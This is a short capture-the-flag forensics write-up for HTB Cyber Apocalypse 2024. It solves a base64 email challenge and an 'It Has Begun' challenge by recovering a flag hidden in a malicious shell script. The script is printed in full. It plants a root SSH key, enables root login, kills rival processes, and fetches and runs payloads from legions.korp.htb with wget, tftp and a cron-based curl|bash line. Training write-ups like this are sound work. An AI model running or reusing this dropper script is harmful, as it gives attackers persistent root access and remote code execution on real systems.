HTB CYBER-APOCALYPSE 2024 FORENSICS WRITEUPS

This is a writeup for forensics for HTB 2024

Urgent [Very Easy]

We are given an email file .eml file.

Printing out its contents we notice base64 encoding

Using CyberChef we are able to decode the encoded string and its magic operation can detect the encoding also. We get our flag.

It Has Begun [Very Easy] We are given a script sh file

#!/bin/sh

if [ "$HOSTNAME" != "KORP-STATION-013" ]; then
    exit
fi

if [ "$EUID" -ne 0 ]; then
    exit
fi

docker kill $(docker ps -q)
docker rm $(docker ps -a -q)

echo "ssh-rsa AAAAB4NzaC1yc2EAAAADAQABAAABAQCl0kIN33IJISIufmqpqg54D7s4J0L7XV2kep0rNzgY1S1IdE8HDAf7z1ipBVuGTygGsq+x4yVnxveGshVP48YmicQHJMCIljmn6Po0RMC48qihm/9ytoEYtkKkeiTR02c6DyIcDnX3QdlSmEqPqSNRQ/XDgM7qIB/VpYtAhK/7DoE8pqdoFNBU5+JlqeWYpsMO+qkHugKA5U22wEGs8xG2XyyDtrBcw10xz+M7U8Vpt0tEadeV973tXNNNpUgYGIFEsrDEAjbMkEsUw+iQmXg37EusEFjCVjBySGH3F+EQtwin3YmxbB9HRMzOIzNnXwCFaYU5JjTNnzylUBp/XB6B user@tS_u0y_ll1w{BTH" >> /root/.ssh/authorized_keys
echo "nameserver 8.8.8.8" >> /etc/resolv.conf
echo "PermitRootLogin yes" >> /etc/ssh/sshd_config
echo "128.90.59.19 legions.korp.htb" >> /etc/hosts

for filename in /proc/*; do
    ex=$(ls -latrh $filename 2> /dev/null|grep exe)
    if echo $ex |grep -q "/var/lib/postgresql/data/postgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew"; then
        result=$(echo "$filename" | sed "s/\/proc\///")
        kill -9 $result
        echo found $filename $result
    fi
done

ARCH=$(uname -m)
array=("x86" "x86_64" "mips" "aarch64" "arm")

if [[ $(echo ${array[@]} | grep -o "$ARCH" | wc -w) -eq 0 ]]; then
  exit
fi


cd /tmp || cd /var/ || cd /mnt || cd /root || cd etc/init.d  || cd /; wget http://legions.korp.htb/0xda4.0xda4.$ARCH; chmod 777 0xda4.0xda4.$ARCH; ./0xda4.0xda4.$ARCH; 
cd /tmp || cd /var/ || cd /mnt || cd /root || cd etc/init.d  || cd /; tftp legions.korp.htb -c get 0xda4.0xda4.$ARCH; cat 0xda4.0xda4.$ARCH > DVRHelper; chmod +x *; ./DVRHelper $ARCH; 
cd /tmp || cd /var/ || cd /mnt || cd /root || cd etc/init.d  || cd /; busybox wget http://legions.korp.htb/0xda4.0xda4.$ARCH; chmod 777;./0xda4.0xda4.$ARCH;
echo "*/5 * * * * root curl -s http://legions.korp.htb/0xda4.0xda4.$ARCH | bash -c 'NG5kX3kwdVJfR3IwdU5kISF9' " >> /etc/crontab

Upon analyzing the script we see the username user@tS_u0y_ll1w{BTH and NG5kX3kwdVJfR3IwdU5kISF9 that look suspicious.

Reversing the first string user@tS_u0y_ll1w{BTH and decoding the base64 string NG5kX3kwdVJfR3IwdU5kISF9 we get our flag